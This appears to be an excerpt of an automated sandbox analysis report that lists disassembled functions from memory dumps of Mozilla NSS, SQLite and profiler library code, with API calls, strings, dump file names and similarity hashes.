__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC40F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC40F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC40F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC40F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6CC40ED9, 6CC40EE5, 6CC40F06, 6CC40F0B
Aborting, xrefs: 6CC40EB3

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: bdf085174a5b1c9a13eb1f903b44bb41329ebb48d329ac7eb4afb762740635ef
Instruction ID: d2b15d3c393c1f6402d818310ceabc19e44630307e6079e4032cebc2b0e7081e
Opcode Fuzzy Hash: bdf085174a5b1c9a13eb1f903b44bb41329ebb48d329ac7eb4afb762740635ef
Instruction Fuzzy Hash: C201C0B6900154BBDF01AFA4DC85CAB3F3DEF47264F008065FD0997741E635E9609BA2

Function 6CA59420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6CA4AB89: EnterCriticalSection.KERNEL32(6CA9E370,?,?,?,6CA134DE,6CA9F6CC,?,?,?,?,?,?,?,6CA13284), ref: 6CA4AB94
Part of subcall function 6CA4AB89: LeaveCriticalSection.KERNEL32(6CA9E370,?,6CA134DE,6CA9F6CC,?,?,?,?,?,?,?,6CA13284,?,?,6CA356F6), ref: 6CA4ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA24A68), ref: 6CA5945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA59470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA59482
__Init_thread_footer.LIBCMT ref: 6CA5949F

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6CA5947D
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CA5946B
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CA59459

Memory Dump Source

Source File: 00000000.00000002.2633633554.000000006CA11000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2633594317.000000006CA10000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633761887.000000006CA9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: e4a5b32e039431ca00e9a21914eb1af45ae4d179e58f68edf18bdb19980c48c3
Instruction ID: 7dbacb0509bc538651c99d1815ed7bc3f066e7488b8ef41e4b833d41d6518816
Opcode Fuzzy Hash: e4a5b32e039431ca00e9a21914eb1af45ae4d179e58f68edf18bdb19980c48c3
Instruction Fuzzy Hash: 3101B9B4A102028BDA049F6CDD1359633BAA74532CF08C53AE9058AA41DE31DCF78A67

Function 6CC04D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CC04DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CC04DE0

Strings

invalid, xrefs: 6CC04DB8
%s at line %d of [%.10s], xrefs: 6CC04DDA
misuse, xrefs: 6CC04DD5
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CC04DCB
API call with %s database connection pointer, xrefs: 6CC04DBD

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 6fdbbadaba31bea52b53ad060e92b6b604987fcd160c9581b313f20fe5d36555
Instruction ID: 9ba5c9b4f89c04437f0e002ec62d8f8b0a9150446e214afcd94a2ef2c3be19e0
Opcode Fuzzy Hash: 6fdbbadaba31bea52b53ad060e92b6b604987fcd160c9581b313f20fe5d36555
Instruction Fuzzy Hash: 8CF0B421F147682BD7009216CE60FC737555F16719F4609E1FD046BE52F2079C64C2D1

Function 6CC04DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CC04E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CC04E4D

Strings

invalid, xrefs: 6CC04E25
%s at line %d of [%.10s], xrefs: 6CC04E47
misuse, xrefs: 6CC04E42
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CC04E38
API call with %s database connection pointer, xrefs: 6CC04E2A

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 826f2e6f91978ac7a75ab47452c707db94df6b7dcfb6e9b8c8023c951b5b8db3
Instruction ID: cd0f05ac4a41c358e78d24c26112fcf298305307ac1b41e16cdedaa0ffe3e638
Opcode Fuzzy Hash: 826f2e6f91978ac7a75ab47452c707db94df6b7dcfb6e9b8c8023c951b5b8db3
Instruction Fuzzy Hash: B1F02731F44A28AFEA1090279E50FC777858B25729F0944E1FB2867FA2F307A86442D1

Function 6CB70C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6CB71444,?,00000001,?,00000000,00000000,?,?,6CB71444,?,?,00000000,?,?), ref: 6CB70CB3

Part of subcall function 6CBDC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBDC2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CB71444,?,00000001,?,00000000,00000000,?,?,6CB71444,?), ref: 6CB70DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6CB71444,?,00000001,?,00000000,00000000,?,?,6CB71444,?), ref: 6CB70DEC

Part of subcall function 6CB90F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CB32AF5,?,?,?,?,?,6CB30A1B,00000000), ref: 6CB90F1A
Part of subcall function 6CB90F10: malloc.MOZGLUE(00000001), ref: 6CB90F30
Part of subcall function 6CB90F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CB90F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6CB71444,?,00000001,?,00000000,00000000,?), ref: 6CB70DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6CB71444,?,00000001,?,00000000), ref: 6CB70E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CB71444,?,00000001,?,00000000,00000000,?), ref: 6CB70E53
PR_GetCurrentThread.NSS3(?,?,?,?,6CB71444,?,00000001,?,00000000,00000000,?,?,6CB71444,?,?,00000000), ref: 6CB70E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CB71444,?,00000001,?,00000000,00000000,?), ref: 6CB70E79

Part of subcall function 6CB81560: TlsGetValue.KERNEL32(00000000,?,6CB50844,?), ref: 6CB8157A
Part of subcall function 6CB81560: EnterCriticalSection.KERNEL32(?,?,?,6CB50844,?), ref: 6CB8158F
Part of subcall function 6CB81560: PR_Unlock.NSS3(?,?,?,?,6CB50844,?), ref: 6CB815B2

Part of subcall function 6CB4B1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6CB51397,00000000,?,6CB4CF93,5B5F5EC0,00000000,?,6CB51397,?), ref: 6CB4B1CB
Part of subcall function 6CB4B1A0: free.MOZGLUE(5B5F5EC0,?,6CB4CF93,5B5F5EC0,00000000,?,6CB51397,?), ref: 6CB4B1D2

Part of subcall function 6CB489E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6CB488AE,-00000008), ref: 6CB48A04
Part of subcall function 6CB489E0: EnterCriticalSection.KERNEL32(?), ref: 6CB48A15
Part of subcall function 6CB489E0: memset.VCRUNTIME140(6CB488AE,00000000,00000132), ref: 6CB48A27
Part of subcall function 6CB489E0: PR_Unlock.NSS3(?), ref: 6CB48A35

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: 28a133b065603e694dc6d6f4607103f56f62706a486632a7dc71ffef11b0e52e
Instruction ID: e0053af33f0235876318aaef030f2144b1d447c13e3115a7269c80db2f7d8d70
Opcode Fuzzy Hash: 28a133b065603e694dc6d6f4607103f56f62706a486632a7dc71ffef11b0e52e
Instruction Fuzzy Hash: 4151D7B5D002906FEB109F64EC81AAF37A8DF0521CF550025ED199B712FB32ED1987B2

Function 6CB26E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6CB26ED8
sqlite3_value_text.NSS3(?,?), ref: 6CB26EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6CB26FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6CB26FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6CB26FF0
sqlite3_value_blob.NSS3(?,?), ref: 6CB27010
sqlite3_value_blob.NSS3(?,?), ref: 6CB2701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6CB27052

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: 1ec2bbb26401667bd2b1264fda5665d0fd25ef425960b2528a8bd25e3592eab3
Instruction ID: 0d8d6a20cdafacb2aede100fb2834bf19d90132f3ce79839a48a1737912d877f
Opcode Fuzzy Hash: 1ec2bbb26401667bd2b1264fda5665d0fd25ef425960b2528a8bd25e3592eab3
Instruction Fuzzy Hash: 9C61B3B1E152858BDF10CFA4C8407FFB7B2AF45308F284165D819AB751E73A9C1ACB95

Function 6CB98F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6CB97313), ref: 6CB98FBB

Part of subcall function 6CB907B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CB38298,?,?,?,6CB2FCE5,?), ref: 6CB907BF
Part of subcall function 6CB907B0: PL_HashTableLookup.NSS3(?,?), ref: 6CB907E6
Part of subcall function 6CB907B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CB9081B
Part of subcall function 6CB907B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CB90825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6CB97313), ref: 6CB99012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6CB97313), ref: 6CB9903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6CB97313), ref: 6CB9909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6CB97313), ref: 6CB990DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6CB97313), ref: 6CB990F1

Part of subcall function 6CB910C0: TlsGetValue.KERNEL32(?,6CB38802,00000000,00000008,?,6CB2EF74,00000000), ref: 6CB910F3
Part of subcall function 6CB910C0: EnterCriticalSection.KERNEL32(?,?,6CB38802,00000000,00000008,?,6CB2EF74,00000000), ref: 6CB9110C
Part of subcall function 6CB910C0: PL_ArenaAllocate.NSS3(?,?,?,6CB38802,00000000,00000008,?,6CB2EF74,00000000), ref: 6CB91141
Part of subcall function 6CB910C0: PR_Unlock.NSS3(?,?,?,6CB38802,00000000,00000008,?,6CB2EF74,00000000), ref: 6CB91182
Part of subcall function 6CB910C0: TlsGetValue.KERNEL32(?,6CB38802,00000000,00000008,?,6CB2EF74,00000000), ref: 6CB9119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6CB97313), ref: 6CB9906B

Part of subcall function 6CBDC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBDC2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6CB97313), ref: 6CB99128

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: 45e7c29d2975109000e4cc2e0f9e3ae60afd79397e3e2f5004f012a37fd008f8
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: 7D518171E002519FEB509F6ADC44B2AB3F9FF46358F154039D929D7761E732E804CA92

Function 6CB788E0 Relevance: 12.1, APIs: 8, Instructions: 112COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CB788FC

Part of subcall function 6CB8BE30: SECOID_FindOID_Util.NSS3(6CB4311B,00000000,?,6CB4311B,?), ref: 6CB8BE44

PORT_NewArena_Util.NSS3(00000800), ref: 6CB78913

Part of subcall function 6CB90FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CB387ED,00000800,6CB2EF74,00000000), ref: 6CB91000
Part of subcall function 6CB90FF0: PR_NewLock.NSS3(?,00000800,6CB2EF74,00000000), ref: 6CB91016
Part of subcall function 6CB90FF0: PL_InitArenaPool.NSS3(00000000,security,6CB387ED,00000008,?,00000800,6CB2EF74,00000000), ref: 6CB9102B

SEC_ASN1DecodeItem_Util.NSS3(00000000,?,6CC5D864,?), ref: 6CB78947

Part of subcall function 6CB8E200: PR_SetError.NSS3(FFFFE009,00000000), ref: 6CB8E245
Part of subcall function 6CB8E200: PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6CB8E254

SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6CB7895B
DER_GetInteger_Util.NSS3(?), ref: 6CB78973
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CB78982
SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CB789EC
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CB78A12

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Util$Arena_Tag_$AlgorithmErrorFindFree$ArenaDecodeInitInteger_Item_LockPoolcalloc
String ID:
API String ID: 2145430656-0
Opcode ID: 385898ce5d042e98e7d07442dabc388d3b753dc32ea22002c98754eb10698820
Instruction ID: dab0f9269b66c760835f034d476fa0bfee1f789cb444992ada60245da35d7de5
Opcode Fuzzy Hash: 385898ce5d042e98e7d07442dabc388d3b753dc32ea22002c98754eb10698820
Instruction Fuzzy Hash: 6C31F6A2A046C056F6305639AC417AE3699DB9132CF241A37DD39F7A91FB27C44683A3

Function 6CB54E50 Relevance: 12.1, APIs: 8, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CB54E90
EnterCriticalSection.KERNEL32 ref: 6CB54EA9
TlsGetValue.KERNEL32 ref: 6CB54EC6
EnterCriticalSection.KERNEL32 ref: 6CB54EDF
PL_HashTableLookup.NSS3 ref: 6CB54EF8
PR_Unlock.NSS3 ref: 6CB54F05
PR_Now.NSS3 ref: 6CB54F13
PR_Unlock.NSS3 ref: 6CB54F3A

Part of subcall function 6CB207A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CAB204A), ref: 6CB207AD
Part of subcall function 6CB207A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAB204A), ref: 6CB207CD
Part of subcall function 6CB207A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAB204A), ref: 6CB207D6
Part of subcall function 6CB207A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CAB204A), ref: 6CB207E4
Part of subcall function 6CB207A0: TlsSetValue.KERNEL32(00000000,?,6CAB204A), ref: 6CB20864
Part of subcall function 6CB207A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CB20880
Part of subcall function 6CB207A0: TlsSetValue.KERNEL32(00000000,?,?,6CAB204A), ref: 6CB208CB
Part of subcall function 6CB207A0: TlsGetValue.KERNEL32(?,?,6CAB204A), ref: 6CB208D7
Part of subcall function 6CB207A0: TlsGetValue.KERNEL32(?,?,6CAB204A), ref: 6CB208FB

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID:
API String ID: 326028414-0
Opcode ID: cc88beabac33aa7a9b0abfa591b541e57675fb615af2f282c80f4c4b7a6850c1
Instruction ID: ca73e56b6aea4625c27d97c12af5280339ede34f403517218f28c1f8b2b34872
Opcode Fuzzy Hash: cc88beabac33aa7a9b0abfa591b541e57675fb615af2f282c80f4c4b7a6850c1
Instruction Fuzzy Hash: EE413AB4A04645DFCB04EF78D4848AABBF4FF49314B118669EC999B710EB30E865CF91

Function 6CC40860 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

PR_LogFlush.NSS3(00000000,00000000,?,?,6CC47AE2,?,?,?,?,?,?,6CC4798A), ref: 6CC4086C

Part of subcall function 6CC40930: EnterCriticalSection.KERNEL32(?,00000000,?,6CC40C83), ref: 6CC4094F
Part of subcall function 6CC40930: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?,?,6CC40C83), ref: 6CC40974
Part of subcall function 6CC40930: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CC40983
Part of subcall function 6CC40930: _PR_MD_UNLOCK.NSS3(?,?,6CC40C83), ref: 6CC4099F

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000001,00000000,00000000,?,?,6CC47AE2,?,?,?,?,?,?,6CC4798A), ref: 6CC4087D
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,6CC47AE2,?,?,?,?,?,?,6CC4798A), ref: 6CC40892
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?,?,?,?,6CC4798A), ref: 6CC408AA
free.MOZGLUE(?,00000000,00000000,?,?,6CC47AE2,?,?,?,?,?,?,6CC4798A), ref: 6CC408C7
free.MOZGLUE(?,00000000,00000000,?,?,6CC47AE2,?,?,?,?,?,?,6CC4798A), ref: 6CC408E9
free.MOZGLUE(?,6CC47AE2,?,?,?,?,?,?,6CC4798A), ref: 6CC408EF
PR_DestroyLock.NSS3(?,00000000,00000000,?,?,6CC47AE2,?,?,?,?,?,?,6CC4798A), ref: 6CC4090E

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: free$__acrt_iob_func$CriticalDestroyEnterFlushLockSectionfclosefflushfwrite
String ID:
API String ID: 3145526462-0
Opcode ID: 8e1cd8b4162c93af6ed24a2d1036ffdee66ebe65da1e8289e9c094101c467b20
Instruction ID: fbfab85fa4982909aa16145b781c75dc872e25feb6ba256a396408766a7612b7
Opcode Fuzzy Hash: 8e1cd8b4162c93af6ed24a2d1036ffdee66ebe65da1e8289e9c094101c467b20
Instruction Fuzzy Hash: 471190B1F022804BEF00AF58D98678A3B7CEB52258F198234E41687A40EA35E845CBD2

Function 6CAB4F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAB4FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CAB51BB

Strings

%s at line %d of [%.10s], xrefs: 6CAB51B4
misuse, xrefs: 6CAB51AF
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CAB51A5
unable to delete/modify user-function due to active statements, xrefs: 6CAB51DF

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
